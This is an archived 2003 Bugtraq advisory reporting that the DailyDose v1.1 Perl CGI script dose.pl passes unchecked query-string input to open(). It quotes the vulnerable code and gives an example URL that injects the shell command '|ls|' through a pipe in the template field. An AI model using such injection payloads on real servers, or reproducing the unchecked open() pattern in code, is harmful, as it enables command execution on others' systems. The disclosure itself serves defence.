[32356] in bugtraq

home help back first fref pref prev next nref lref last post

DailyDose v 1.1

daemon@ATHENA.MIT.EDU (Alexey Sintsov)
Mon Nov 10 14:14:16 2003

Date: 9 Nov 2003 15:58:41 -0000
Message-ID: <20031109155841.6162.qmail@sf-www3-symnsj.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Alexey Sintsov <huan@xp-team.spb.su>
To: bugtraq@securityfocus.com



Bug is found in this script:
DailyDose v 1.1 (by www.onlinearts.net)
The script (dose.pl) does not check the input:

$data=$ENV{'QUERY_STRING'};
($command,$list,$temp, $id) = split ("&",$data,4);
. . .
local ($template) = "$tempdir/$temp";
open(TEMPL, "$template") || print "no file found $template!";
#open without check var. $temp 

Example (listing):
http://www.someserver.com/cgi-bin/dose.pl?daily&somefile.txt&|ls|

-------------------------- 
Alexey Sintsov aka Don_Huan
huan@xp-team.spb.su


home help back first fref pref prev next nref lref last post